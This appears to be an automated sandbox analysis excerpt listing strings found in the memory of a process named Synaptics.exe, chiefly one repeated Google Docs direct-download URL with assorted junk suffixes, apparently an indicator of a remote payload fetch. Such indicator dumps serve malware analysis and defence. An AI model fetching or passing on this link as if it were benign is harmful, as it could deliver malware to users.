Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadec
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadecW
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadecuri
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaded
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelleA
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelleme
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem4
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademC
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademh
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden0
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden8
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenH
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenet9
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniy
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenl
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadentHt
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadep
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadepG
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet$
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet~
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadform-
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg;
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl;
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo(;
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo;%
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoog
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgp
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh-
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh-ua-
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadho
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.000000000532C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi08
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiV
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiao$#
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadic
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadid.c
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadights
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiveUn
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyd
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyh
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyt
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj/
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj8
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadklB
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000002.00000002.2959950848.000000000532C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlRD
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadla
